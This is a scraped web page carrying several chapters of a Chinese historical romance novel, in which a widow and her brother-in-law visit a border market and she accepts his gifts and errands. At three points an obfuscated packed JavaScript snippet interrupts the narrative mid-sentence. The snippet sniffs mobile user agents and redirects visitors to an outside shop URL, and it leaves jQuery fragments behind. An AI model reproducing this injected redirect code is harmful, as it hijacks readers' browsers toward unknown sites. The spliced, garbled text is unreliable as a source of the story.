“榷场?”卫瑜然也是第一次听说。 绿樱又说:“李勇说魏国的商人一般售卖的是羊、马、骆驼比较多,皮货也有不少人卖。” “皮货?可有貂皮?” 绿樱不确定:“应该有吧。” 卫瑜然凝思,想起亡夫在信上写的貂皮大氅,遥州城内的貂皮贵如天价,普通老百姓根本买不起,哪怕她是周府二少奶奶,也得掂量掂量,更何况她现在还是住在夫君兄长的营寨里,吃喝用度全靠他一人。 又不是夫妻,掌心朝上向他要月钱这种事,她实在没法开口。 她知道这些貂皮是经过了特殊处理,才制成一件件衣裳,供达官贵人购买。这其中的差价她也不知到底多少,如若买到新鲜貂皮,再让人去处理制成一件大氅,会不会便宜些? - 翌日辰时,晨雾已散,金光撒在元台新寨上,照得暖洋洋。 一名侍卫牵来两匹马,李勇上前接过缰绳,摸了摸马脸,回头扫了一眼旁边玉质金相的男人,神色不明,脸庞坚毅。 既然周统制还没有动身的意思,那他也只能等着。 又过了会,竹轩居那个方向出现一道倩影,缓缓走来,身旁伴着一名丫鬟。 “二少奶奶来了。” 这时,那个高大的身影这才有了动静,转头看过去,却只是颔首示意了下。 卫瑜然看到周枭今日穿了一身玄色袍衫,金带銙束腰,少了几分肃穆,多了几分随和。 “见过大哥。”卫瑜然作揖,得到对方颔首示意后,便在丫鬟的搀扶下上了马车,在车舆内坐稳,抬手掀开车幔,恰好看到周枭走向一匹黑马,一踩一蹬,利落飞身上马背。 挺直的腰背人高马大,勃然英姿,竟有几分和夫君相似,她想,若是夫君还在世,此时此刻他应当也是像大哥这样英姿飒爽。 卫瑜然神色黯然放下车幔,放下时,马车外的男人忽然回头,目光不动声色扫过来,堪堪看到还没来得及收回的素手。 白腻胜雪,在天青色车幔的衬托下尤为素雅。 她刚刚在看谁? …… 榷场的集市早已经人来人往,熙熙攘攘。 周枭要去买马匹,卫瑜然只能跟着一同过去,看他在马厩前和魏国的牧马人交易,从他们交流的只言片语中,卫瑜然才知道魏国地域辽阔,草原葱郁,养出来的马匹耐力好、体型高大。 经过一番议价后,以一匹马30贯钱的价钱买下三千匹,卫瑜然心里算了下,这一下子就花费了九万贯钱。 周枭还想买更多,但牧马人只有三千匹,只能全买了,因为需要验货和交易,涉及军费物资,周枭只能派几名侍卫留守在卫瑜然身边,自己则是和李勇亲自前去验货。 卫瑜然和他分开,离开马厩,进入各类商贩贸易的集市,只能下马车改步行,与绿樱走在这条望不到尽头的榷场路。 他们大晋朝对魏国贸易主要是秔稻为主的粮食作物,以及丝织品、瓷器、漆器、茶叶、药材和书籍等,而魏国更多是畜牧、玉器、皮货、毡毯以及一些青白盐。 叫卖声不绝于耳,卫瑜然对别的没有兴趣,只有路过卖皮货的商贩时,她才忍不住多看两眼。 可不知怎的,今天一直没看到有貂皮卖,只有羊皮、狐皮。 卫瑜然走近一皮货商贩,询问:“可有貂皮?” 商贩看到她,露出诧异的神情,但也只是一瞬间,“貂皮已经卖完了。” 卫瑜然:“那何时才有?” 商贩笑了笑:“小的不妨跟这位娘子说,貂皮一直是紧俏货,有专门的人来收购,您还是看看别的吧,我这狐皮毛发顺滑,暖和,一点骚味都没有。” 卫瑜然婉拒了他的建议,不禁气馁,她能想到的法子,那些商贾怎么会想不到,肯定会第一时间来收购。 而另一边,周枭和李勇跟随牧马人前去检验三千匹马匹的质量,因为流程和手续麻烦,验货之后,后续的工作便交给了李勇跟进。 到底是担心卫瑜然在榷场发生意外,周枭骑马只身赶回榷场。 路过一卖北珠的商贩,周枭蓦地勒马停下来,鹰隼般的目看向商贩摆出来的箱椟。 上面有颗匀圆莹白的北珠。 周枭记得在某次宴会上,谁家夫人在和其他小姐议论北珠,美者大如弹子,小者如梧子,是魏人从寒冷江河湖泊中采集而来,加上珠蚌稀少,一些文人骚客对北珠的追求亦渐渐有趋之若鹜的苗头,价格也日渐高涨。 虽然他对这些饰品毫无兴致,但想到营寨里某位大门不出二门不迈的女人,他想让那个女人赶一趟这份北珠风尚。 如此一想,周枭当即从马上下来,大刀阔斧来到商贩面前,认真挑选了一颗匀圆莹白的北珠。 商贩看到来人是一个高大魁梧的男子,一身气魄强悍难以直视,未等他开口介绍,对方就已经挑好了北珠。 “多少钱?” “这位客官,这颗北珠有二分宽,圆润莹白,瑕疵近无,需90贯钱。” 北珠的价格当真是愈来愈贵,哪天若是卖上天价岂不是荒谬? 90贯钱对周枭来说是小钱,先前从锦州运输到北方的物资,他在半路上就已经全部卖出,又因军队可免除商税,这一趟下来赚得不少。 想到那个素雅窈窕的身影,周枭掏钱买下,略微粗糙的指腹捻着这颗北珠,因有二分之宽,作耳饰不合适,最后他想到可以做一支白玉北珠簪子。 随后,他迈进一间簪铺,命令簪匠作一支白玉北珠簪子。 …… 天色过半,榷场叫卖声已经弱了下来,来往的商贩和买家少了近一半。 卫瑜然和绿樱已经走访了不下十个皮货商贩,无一例外都是已经卖完了貂皮,让人收走了。 绿樱双腿累得走不动:“二少奶奶,为何你这么执着想要买貂皮?” 卫瑜然仍然往前看了眼那些商贩,看看还有没有皮货商贩,“没什么,我就是想问问。” 绿樱说:“二少奶奶,依奴婢看是没有了,咱们可以去遥州城里买。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566136|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若是有那钱买就好了,关键是她没有那么多钱,卫瑜然心里叹气,回头看向疲倦的绿樱,“算了,我们回去吧。” “二少奶奶,您终于想通了。”绿樱松了口气,跟着她往回走。 不料,一眨眼的功夫,她就看到二少奶奶崴了脚,她赶忙上前扶着人,“二少奶奶您没事吧?” 卫瑜然弯着腰险些站不稳,“方才踩到一块石头,不小心崴了。” 绿樱环顾四周,看看有没有医馆,“可是这榷场根本没有医馆。” 说罢,她转头对着一名侍卫说:“你快去禀告周统制,告诉他二少奶奶崴了脚。” 偏偏马车不能进入榷场,要不然二少奶奶现在也不用这么遭罪。 其中一名侍卫当即前去找周枭,卫瑜然在绿樱的搀扶下坐到一茶肆里。 茶肆是简易顶棚搭建的,来喝茶解渴的人大多为交易的魏人,人群混杂,时不时猜拳喝酒或高声喝彩。 卫瑜然只能在外边坐下,不敢进入里面,但即便如此,秀绝瑰艳的容貌还是招来不少目光。 若不是身边站着几名带刀侍卫,让这帮人不敢轻举妄动,否则早已经上前冒犯搭讪。 日头西下,一阵马蹄声响起,众人望去,只见一名踔厉风发的男人勒马于茶肆前,马蹄高高勒起,又重重踏下,地上顿时出现两个深深的马蹄印。 茶客几乎全都噤声,望着高大魁梧的男人走向那个琼姿花貌的女人。 地上掀起一阵灰尘,卫瑜然皱了下眉,等灰尘散去时,眼前罩下一道压迫感很强的黑影,不知为何,她竟有一丝微妙的错觉。 好像,这个男人很担心自己。 “大哥……”卫瑜然瞥见他风尘仆仆,下意识想站起来,却不料忘了脚上的伤,跌下来那瞬间一双大手扶住了她,让她坐回长凳上。 “我听属下说你崴到脚了?” 卫瑜然双手抚着茶桌,视线随着周枭蹲下而缓缓看下去,因为身高以及身份的原因,她从来都是昻视对方,像此刻的俯视,从来没有过。 双手从茶桌伸向膝盖,双脚往裙摆里侧缩了缩。 “妾身不小心踩到一颗石子,不留神就崴了脚,不过没什么大碍,大哥不用太担心。” 周枭不是没看到她缩回脚的动作,抬眸静看她片刻,站起来,侧眸沉声道:“将马牵过来。” “是。”其中一名侍卫将马匹牵到茶肆跟前。 周枭将重刀递给旁人,来到卫瑜然身侧,在她愕然的神情下弯腰将人抱起,这一举动不仅惊到卫瑜然,也同样惊诧到其他茶客,引起几分酸胀嫉妒。 卫瑜然身体腾空,吓得她不知该作何反应,又怕跌落,只能搂着他的脖子。 男人轮廓硬朗分明的侧脸就这么撞入眼帘,手臂搭在肩膀上,即使隔着布料,她亦能感受到底下筋肉冷硬虬结,蕴含着无穷的爆发力。 “大哥……” “坐稳别动,拿着缰绳。”周枭将人托举到马背上,将缰绳塞到她手里。 卫瑜然被托举到马背上那刻,她就感觉到臀部被一只大手掌握,虽然隔着襦裙,但那滚/烫的温度似乎要将她烫伤。 一下子升高的视野,让她看到许多人朝她看来,她不敢细看,只能微垂着眼,攥紧缰绳,面色在窘迫中陡然升起几分绯色。 23. 第 23 章 日落黄昏,余晖照落榷场,来来往往,人影晃动。 绿樱收拾东西跟上去,抬头望向坐在马背上的二少奶奶,不禁露出担忧的神色。 “周统制,二少奶奶不会骑马。” 周枭看向坐在马背上的女人,见她紧紧抓着缰绳,朱唇抿紧,神色强装镇定。 “不会有事。”他沉声说。 一名侍卫在前面牵着马衔环,马动起来那刻,卫瑜然还是难免心里猛然一揪,直到眼角余光瞥到与她齐平的男人,那份紧张稍微消散些许,但仍旧提心吊胆。 一路上,马背平稳,卫瑜然不敢看路过的人,怕惹是非笑话,哪有寡妇不知廉耻当街骑马,更何况她还是周府的二少奶奶,这样有损声誉,也不够端庄。 她几乎能预料得到若是在锦州街头上,那些不堪入目的流言将会多么猖獗追着她跑。 卫瑜然坐立不安地攥紧缰绳,生怕和别人对视,怕看到和郝才捷一样的玩味亵玩的眼神,这些男人心里在想什么,有多龌龊,她在那些信上领略过。 直到回到马车旁,那些买客的目光才少了。 卫瑜然不知如何从马车上下来,无措地看向周枭。 “大哥……妾身不知如何下来。” 周枭看她向自己求助,那无措窘迫的神色流露出几分忐忑,心口仿佛有只猫挠了一下。 “把手给我。”他朝她伸出手,见卫瑜然迟疑地环顾四周,周枭察觉她的顾忌,使眼色让这些下属丫鬟转开视线。 卫瑜然一只手攥着缰绳,定定看着举到眼前的,粗粝的大手,又望了眼手的主人,男人的眼神深邃如渊,她看不透对方心里在想什么。 但她记得这人托自己上马背时,那只手放在哪里。 昨日还当着她的面提及那些翻云覆雨的记忆。 虽说那件事已经过去将近两个月,但那些深入灵魂的触碰是无法抹去的,大哥还记得说明他并没有忘记。 他到底把自己当弟媳,还是可以回味与亵玩的浪荡狐媚子,她也无从得知。 卫瑜然心头压下这些杂乱的思虑,终究没有把手放到他掌心,而是握住他手腕处,借他的力下马,踩在一名侍卫背上,所幸稳妥下来。 “多谢大哥。”她松开手,没有看他脸色,只作揖躬了一身,随后侧目喊道:“绿樱。” “欸,二少奶奶。”绿樱来到她身旁。 “扶我上马车。” “好。” 卫瑜然捏着手帕从周枭身旁擦肩而过,而后踱步上马车。 周枭从她只握手腕那刻起,脸色就已经隐约不悦,但他什么都没说,直到这个女人的衣袂从他身边掠过,他才深呼吸一口气,踩上马镫,一跃上马。 居高临下提着缰绳,目光扫过被风吹起的车帷,素色裙裾若隐若现,无端窝出火来。 就在这时,一阵马蹄声朝不远处传来,周枭放眼望去,只见他的下属胡天面色着急赶过来。 他皱眉,气定神闲等待胡天来到他跟前。 胡天看起来有十万火急的事,勒马后,粗着声音喊道:“统制,榷场疑有魏人私售硫磺焰硝。” 硫磺和焰硝在他们大晋朝是违禁品,早已勒令禁止买卖,假若真有魏人私下买卖硫磺焰硝,无异于挑衅大晋的律规。 周枭的脸色一下子凝重起来,“在哪?” 胡天在他耳边耳语,周枭提起缰绳,扭转马头正要过去调查清楚,临走前忽地看到卫瑜然坐着的马车。 又想起方才被她转握手腕的举动,心头的火压了又压,到底不能不管她,于是命令那几个侍卫一路护送。 “你们几个,护送二少奶奶回营寨!” “是!” 一阵马蹄声远去,马车内的卫瑜然不是听不到,隐约察觉他要去办什么事,掀开车幔往外看,却只能看到两个男人驾着两匹马远去。 掀起的尘土模糊了那个玄色背影。 - 回到营寨,卫瑜然撞见刚回来的李勇和主簿潘旗汇报,说是买的三千马匹已经检验无误。 对方看到她,纷纷恭敬喊了声二少奶奶,卫瑜然朝他们行礼,被看出腿脚受了伤,李勇担忧周统制回来问责,随即喊来军医给她医治。 不久后,夜幕降临,营寨外刮起萧瑟秋风,自从被军医医治后,卫瑜然就一直待在屋里,给双脚泡着药浴,消除疼痛和一天的疲累。 亥时三刻,营寨外传来马蹄疾声。 一匹黑马从夜色中疾驰而来,身后跟着胡天,营寨门口放哨的门卫迅速上前移开拒马,好让人进入营寨。 李勇上前迎接,待周统制下马后,上前询问魏人私售硫磺焰硝一事。 周枭大步流星往议事堂走去,让李勇喊来参谋共商此事。 因为硫磺焰硝是制作火器火炮的主要原料,民间私下售卖不仅让百姓的安全存在隐患,更有可能令边境之地被外敌肘掣,陷入危险当中。 但目前查找出来的头目,看起来只是溧兰山头上一个匪寇,本着不打草惊蛇的目的,周枭打算让队里擅长乔装隐匿的路瞎子去接近,私下紧盯这个匪寇,查出联络他的魏人是谁。 “一有动静,记得报信。” 所有人看向路瞎子,路瞎子虽然叫路瞎子,但他却对遥州一带每一条山路水路熟悉得了如指掌。 路瞎子凝重点头,随后走出议事堂,无声无息乔装离开营寨。 周枭离开议事堂,回到住处,经过卫瑜然的房间时,忽然想起他今日买回的白玉北珠簪子。 簪匠已经将簪子做出来,簪身以白玉作为支柱,最顶处镶嵌一颗匀圆莹白北珠,辅以流苏点缀,整支簪子看起来淡雅却又透着三分不容忽视的贵气,如若戴在卫瑜然头上,应当是不错的。 但周枭想到傍晚她不领情改握他手腕的一幕,心里一沉,冷着脸将簪子收起,大步离开。 - 翌日,卫瑜然醒来,脚上不痛了,问过军医才知道痊愈了。 谢过军医,与绿樱路过操练场,整齐划一的训练伴随呵斥声显得异常恢宏,气势磅礴。 因着这两天浣衣处浣衣妇生了病,辞职回家休养,营寨里又请了新的浣衣妇,洗着洗着,却不小心将周统制的一件圆领袍洗破,正着急发愁中。 浣衣妇看到卫瑜然经过,犹如见了菩萨那般,央求她帮帮忙:“二少奶奶,你帮帮我吧,这圆领袍听说贵得很,我,我赔不起啊。” 卫瑜然看了眼她手上的圆领袍,只有袖口那里是破了的,其他完好无损,“这里缝起来便可,周统制应该不会怪罪于你。” “咋不可能,我听何嫂说周统制的衣服不能洗出问题,不然会被赶出营寨!” “二少奶奶,你是周统制家里唯一的家眷,内宅后勤应当是你在管吧,你可怜可怜我,我上有老下有小,可不能丢了这份工啊……” 卫瑜然本想说可以去扯一身新的衣裳,但转念想到自己没有那么多的钱,她也没法买。 看到浣衣妇年近四十的模样,仍要出来工作,一时不忍,卫瑜然又看了看那件圆领袍,若是在锦州,她倒是可以让绿樱拿出去给裁缝缝补,可这里是营寨,出入不便,要去遥州城里还得跟周枭报备。 算了,她就当行好事了。 “你把衣袍给我吧。” 浣衣妇愣了一下,问道:“二少奶奶可是要亲手缝?” 卫瑜然点头,也只有这个法子了,幸好她以前跟着娘亲学过一段时间女红,绣工还不错,卫瑜然又看了看天色,这天还早,若是早点缝好,他应该看不出被浣衣妇洗坏过。 浣衣妇喜出望外,一边感谢,一边连忙将周统制的衣裳给她送去。 回到住处,卫瑜然让绿樱给自己掏出针线,她则是坐到椅子上,仔细检查除了袖口还有没有别处破损,以免还是逃不了问罪。 那岂不是白折腾了么? 一番检查下来,竟还真的让她找出另一处破损,在肩头的中缝上,虽然看着尚未破损,但已经有松缝迹象,卫瑜然翻过来,用针线重新缝补一遍,直到密实为止。 接着才开始处理袖口的破损,袖口的破损比肩头的松缝更大更长,有些许为难她。 一整个下午,卫瑜然都耗在这上面,缝补这一处的破损,眼睛都快熬坏。 绿樱趁着空闲去厨房给她炖了点枸杞叶汤,据说可以明目。 直到酉时,日头降下前一刻,卫瑜然才把这一身绫布圆领袍缝好,看不出痕迹。 卫瑜然让绿樱赶忙送回到浣衣妇那儿去,省得被人发现。 偏偏好巧不巧,次日周枭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13582733|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿的便是这件圆领袍,早上操练完后换下身上的练功服,换上舒适休闲的圆领袍。 在书房书架上翻阅兵书时,抬手瞥到袖口有被人缝补过的痕迹,针线是新的,他皱了下眉。 周枭对平时穿着用度没有太多讲究,舒适便可,但他对欺上瞒下的态度无法容忍。尤其这里还是军中营寨,更加不可饶恕。 当即让人叫来这个新聘请的浣衣妇,厉声质问。 浣衣妇从聘请进来那天到现在她就没见过那位人人闻风丧胆的周统制,如今被传唤到跟前,一声严厉的质问就将她吓得跪下来。 “民妇知错了!我不应该欺瞒统制将军,私下央求二少奶奶帮忙缝补,求将军放过民妇吧……” 周枭一听到妇女哭声就头疼,本想让人赶紧辞退,重新聘个守规矩的浣衣妇,然而当他听到她嘴里这件事还涉及卫瑜然,脸色变了几变。 “你的意思是这件衣袍不是你缝的?” 浣衣妇赶紧坦白:“不是,是二少奶奶缝的。” 周枭略一思索,大概猜到来龙去脉,抬起袖口看了看上面新缝补的针线。 “去把二少奶奶喊过来。” 彼时,卫瑜然正在竹轩居歇息,冷不丁被叫过去书房,还以为发生了别的事。 直到看到熟悉的浣衣妇跪在周枭面前,她才大概猜出因为什么。 “大哥唤妾身过来有何事?” 周枭看到她捏着手帕提着裙裾迈步进来,从一脸茫然到心中了然的转变,细微的神色变化在他面前无所遁形。 “你帮她缝了我的衣袍?” 既然话都说到这份上了,卫瑜然自知瞒不住,虽说她不知道哪里露出了马脚,还以为这件事能瞒得很好。 “妾身见冬嫂可怜,便答应了她帮忙缝补,妾身不知哪里做错了,还请大哥见谅。” 周枭见她认错态度良好,但有些事他还是得言明,“这事的严重性不在于缝补这身衣服,而在于欺上瞒下的行径。” “按照我军中规矩,欺上瞒下要处以杖罚,而你身为二少奶奶,却帮着外人,犯连坐之罪,也同样要杖罚。” 卫瑜然脸色一白,她长这么大还是第一次遇到过这种惩罚,听说杖罚能将人打得皮开肉绽,她要是真被罚了,卫瑜然不敢想象自己能不能撑过去。 “杖多少……” 李勇说:“欺上瞒下一般杖二十。” 浣衣妇连声求饶,就连卫瑜然也不仅捏紧手帕,身形晃了晃,沁出一身冷汗。 绿樱一听到杖二十,彻底慌了,蓦然出声替二少奶奶求饶:“周统制,冤枉啊,二少奶奶不是故意的!二少奶奶她今儿就是一时心软才替冬嫂缝补,耗了一下午才缝好,眼睛都快熬瞎了!” 周枭盯向面前的女人,见她一声不吭没有半分辩驳的意思,背着手沉默下来,“你有话要说吗?” 自从听到杖二十,卫瑜然就喉咙发紧,胸腔难受,对这种杖罚天生惧意,有些耳鸣,“大哥若是觉得妾身做错了,那就……罚吧。” 她不知军中的规矩严苛到这种地步,如果他要罚,那她也认了。 只是苍白的脸色和攥紧的手帕,还是泄露她的害怕。 等了许久,没等到男人一声带上去处罚,反而等到了一句退让。 “够了。”他呵斥浣衣妇住嘴,“你们两个不是军中之人,用军纪处罚你们严苛了些,念在初犯,这次就暂不处置你们。” “谢将军开恩!谢将军开恩!”浣衣妇退了出去。 卫瑜然也松了口气,抬眸看向眼前的男人,“谢大哥,妾身一定谨记不再犯,若没什么事的话,妾身先行回去了。” “等一下。”周枭把人喊住,又叫退其他人,直到书房里只剩下他和卫瑜然,才继续开口:“这衣袍你当真缝了一下午?” 卫瑜然看他当着自己的面提起袖口,猜不到他想说什么,只好如实说:“确实缝了一下午,右肩头那处也重新缝了,大哥若是嫌弃,妾身可以——” “缝得不错,我不嫌弃。”周枭打断她,莫名愉悦起来,“以后若是还有破损,你能不能继续帮我缝?” 卫瑜然疑惑地抬眸,放眼过去。 周枭背后的手微收拢,补充:“若是破损太多,你不必缝,直接扔了便是。” 24. 第 24 章 书房里静寂如林间。 “大哥……” 卫瑜然柳眉蹙起,不是不明白他的意思,只是帮别的男人缝补衣服,这种亲密的事从来不是有夫之妇该做的。 她是周贯聿的妻子,不是他周枭的妻子。 若是因此传出一些风言风语,她该如何自证…… “你不愿意吗?” 周枭看她犹豫起来,如同兜头一盆冷水浇下来,负在身后的手无端收紧,下颌绷紧望向别处,“大哥还未娶妻,这些事没有女人帮我打理,只能麻烦弟媳你了。” 末了,他看回来,目光不经意扫过面前女人的容貌,启唇道:“大哥不会亏待你的。” 话说到这个份上,大哥算是开口请她帮忙了,更何况自己还身在营寨里,靠着他养,卫瑜然虽然很不想承认,但目前的状况确实如此。 最后只能答应下来,“那妾身就帮大哥照看一二吧。” 终于得到许诺,周枭的面色肉眼可见焕发新生,“那就麻烦弟媳了。对了,这里是一些银钱,我见你从周府带过来的衣裳不多,改日和绿樱去布庄扯两匹布做几身衣裳。” 卫瑜然诧异他细心观察到自己衣裳带的不多,沉甸甸的银钱躺在掌心,脑海里想的却是,若是这钱能够让她去买一身貂皮大氅该多好。 “这钱要走公账吗?” 许是在周家待久了,她习惯用钱从库房里支取,这样方便日后查起来每一笔都有数目和去向。 “你想走就走,不想走就当作是你的私房钱吧。” 卫瑜然听到私房钱三字,敛了敛眸,“谢大哥。” 周枭嗯了一声,“不用。” 卫瑜然欲走,周枭目光扫过她头上的珠钗,是支普通的珠钗。 “等等。” 卫瑜然转过身来,疑惑:“大哥还有别的事吗?” 周枭负在背后的手捻了捻指腹,“那日在榷场我见有白玉北珠簪子卖,那颗北珠个头匀圆莹白,有二分宽,没什么瑕疵,才40贯钱,我听别的夫人说这样一颗北珠得要九十贯才能买到,文人骚客都在追求这种北珠,市价日涨。” 卫瑜然对北珠没太多了解,听他这么说,40贯钱买到价值90贯钱的北珠,岂不是捡到宝了? “大哥买下来了?” 周枭见她颇有兴致,掏出那支白玉北珠簪子在她面前,继而说道:“没错,我买下来了,只是买下才想起我又用不着,你看是吧。” 卫瑜然隐隐约约猜到他的想法。 果不其然,这念头刚落下,簪子递到自己面前。 “放在大哥这也是浪费,寻思不如给弟媳戴吧,大哥觉得特别适合你。” 卫瑜然没有第一时间接过,而是犹豫了起来,难不成大哥不知道送人簪子意味着什么吗? 她看向这男人结实的身材,武将的气魄,又觉得大哥不知道也正常,毕竟大哥入伍多年,从未考虑过男女之事,和夫君那种知道时事政事的文人不一样。 可直白的拒绝又是伤人的,卫瑜然从小深谙此事,凝了凝心思,从周枭手里接过这支白玉北珠簪子,眉眼弯了弯,夸道:“这支簪子可真美。” 周枭心情大好,“不如现在戴上吧。” 卫瑜然手颤了颤,“但是大哥,妾身觉得不配戴上这么金贵一支簪子。” 周枭拧眉,“为何不配?” 卫瑜然垂眸,细细捻摩这支簪子给他看:“妾身的夫君去世没多久,一介寡妇,哪配得上戴这种金贵簪子。” “你不必妄自菲薄,大哥觉得你是个顶好的女子。” “妾身当不起这么贵重的物品,”卫瑜然掀起眼帘望过去,“这么好的簪子应当是大哥未来妻子该戴的。” 周枭抿唇,定定看她。 “妾身有个主意,”卫瑜然提出她的想法,“这簪子不如先暂时放在妾身这里,代为保管,如若大哥以后有了相好的娘子,或是娶了妻妾,再送出去也不迟。” 这话一落,书房里安静得能听得见针掉落。 她知道自己拒绝了对方的赠送之情,哪怕给对方找好了台阶,也算是驳了人家的面。 任谁都高兴不起来。 这种婉拒的做法,换做旁人,她兴许能做到游刃有余,不伤感情,但是对周枭这种在战场上运筹帷幄的人,她却没多大把握。 他能洞察外敌的作战谋略,怎么会洞察不了她一介妇人的小心思。 卫瑜然硬着头皮顶着面前男人眼神的冷意,咬唇垂眸,不敢看他。 “既然不要,那就扔了。” 男人冷沉的嗓音自头上传来,带着不容置喙的强势。 卫瑜然自知惹他不快了,心里叹口气,方才就不应该说太多,直截了当拒绝,兴许不会这么僵持。 这簪子只能收下了,卫瑜然看向手中的簪子,还有流苏点缀,珠圆玉润,确有一股贵气萦绕在周身。 她承情收下,秀口吐出的不再是拒绝,而是让人悦色的答应,“丢了多可惜,妾身还是收下吧,多谢大哥厚待。” 卫瑜然带着簪子离开书房,考虑到绿樱在场,她收进袖口里,回到住处,神情复杂地看了眼,最后终究还是放进妆奁里。 - 周枭一并给她的还有管理营寨内宅的权力,譬如他们二人的吃穿用度,亲兵家仆丫鬟厨子浣衣等管理。 自然,月钱也按时交给她。 卫瑜然本想推脱,但想到月钱是她目前唯一能挣到的,属于自己的钱,这样一来,兴许回去之前能买下一件貂皮大氅。 周枭那天给她的银钱,她到底还是走了公账,免得被说闲话。 既然当了内宅一把手,卫瑜然便去找上浣衣妇,告诫她下次洗坏了衣服需主动告知,不要再犯错。 顺便澄清上一个浣衣妇刘嫂说的夸大之话,洗坏了衣物就会被赶出营寨的前提是新衣物和质量上乘的衣物,正常衣物都会日渐磨损,怪罪不到头上。 她和周枭所用的东西全都入账记下,方便每个月查看哪些需补充多进货,哪些不好用,需清理,也降低了被人中饱私囊的几率。 当然,军中士兵的粮食和马匹的粮草等涉及到军资机密,她一介妇人管不到,一般是由专门的人管理。 如此一番整顿之后,军中内宅的事情果然有条理许多。 卫瑜然给绿樱发放了这个月的月钱,以及她自己的月钱,算了下支出,还有剩下。 她拿着账本到竹轩居,给他讲一遍都用在哪里。 清泠的腔调在竹轩居响起,她只顾着一边翻页一边念,浑然不察有道视线一直停留在她身上,越过鹅颈,朱唇,鬓角,最后落到她发髻上。 自从送出去后,她似乎一直没戴过那支白玉北珠簪子。 “以后若是还有剩的话,都并到你的月钱里去。” 卫瑜然顿了顿,这话的意思是每月剩下的钱都给她?那她应该很快就攒到买貂皮大氅的钱了。 “多谢大哥。” 周枭捕捉到她眼里的高兴,心情似被她感染,“短短几日,你打理那么多,会不会辛苦?” “大哥给了妾身月钱,那便是妾身分内事。” “你头上的银鎏金并头花簪挺好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13591463|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 话头陡转,卫瑜然微愕,察觉到周枭视线时不时停留在自己头上,她想起那支从没戴过的白玉北珠簪子。 卫瑜然沉默,不知说什么,咬了咬唇,垂眸佯装翻阅账本,过了会才道:“这是妾身夫君生前送的。” 说完后,竹轩居里越发寂静,只能听得到些许午后吹拂而过的风声。 周枭侧坐在椅上,原本手肘撑在矮桌上,此刻正过身,举起没看完的兵书继续看,面容变得有些冷漠。 “二弟眼光挺不错。” 卫瑜然哑口无言,合上账本,“大哥,妾身有一事相求。” “什么事?” “妾身过两日想出门一趟。” “做什么?” “去让人做几身衣服。”卫瑜然看向他,“大哥也需添些新衣物了。” 话落,周枭目光这才从兵书转回到她身上,“钱够吗?” 卫瑜然眸光柔柔扫向账本,周枭想起方才的数目,只剩下大约一贯钱,买两人的衣物是不够的。 “等会去我书房取。” “嗯。”卫瑜然站起来,“妾身先退下了。” 周枭见她没了下文,眉头不自觉皱起,“你知道我的尺寸?” 卫瑜然顿了顿,“妾身待会去问。” 先前是有专门的亲兵负责大哥饮食起居,她只需问别人即可。 “那些尺寸已经有三个月没变过了。”周枭又道:“最近锻炼增多,有些衣物变得紧了些。” 这话言外之意,旧的尺寸已经不合适。 卫瑜然拿着账本迟疑,“那妾身需要重新给大哥量度吗?” “那就麻烦弟媳了。” 卫瑜然只能去取软尺,看到已经自觉站起来的男人,她不得已抻开软尺,站在他后背,抬起双手,指腹捻住一端,定在左肩头,另一只细手捋平软尺,抻直,定到右肩头。 作出标记,量取具体的尺寸。 紧接着量取身长、袖长和裤长,一一记下后,卫瑜然对于接下来的胸阔腰阔有些犹豫,“大哥,不如让别人来量吧,妾身怕量不准。” 周枭看着面前娇小的女人,“有何量不准?” 卫瑜然只能硬着头皮上前,低眸将软尺从他腰间穿过,另一只手绕到腰另一侧,环住,双手探到他背后摸索软尺。 鼻息间是凛冽深沉的野岭般的气息,强健的体魄下是沉稳和久经沙场的气势。 偶尔间的触碰,卫瑜然只能当作什么都没发生,捻住软尺两端到腰腹前,敛眸记下标记。 一双鹰隼般的目一直盯着她发顶,落肩处的衣襟,弯腰凑近环住腰身时,那鹅颈又细又长,耳垂莹润,两边缀着排珠耳坠,在女主人度量时微微晃动,连那抹馨香都晃在空中。 周枭眼神渐深,等到一双细白的手量到他胸阔,白皙指尖时不时在他胸前,曾经交融深触的画面一幕幕闪过。 曾经环住他腰的不是一双手,而是一双玉足。 细微的一道粗重声响起,卫瑜然手中凝滞,柳眉屈辱拧起,抬眸直直看进男人的眼里。 本以为会看到亵玩或对她有欲/望的一双眼,但不知是不是她方才听错了,大哥眼里并没有任何欲色,反而板板正正看着前方。 卫瑜然不禁怀疑自己是不是听错了,又侧耳仔细听了会,未果,她又瞄了眼这个男人,还是那样,只好收起怀疑,松开手,转身将标记的尺寸记下。 殊不知她转身弯腰那刻,一道目光扫过她不盈一握的柳腰。 “妾身先下去了。”卫瑜然拿着新量取的尺寸,无甚表情下去。 25. 第 25 章 卫瑜然量完尺寸就离开了,前脚一走,后脚周枭就收到路瞎子传来的密报。 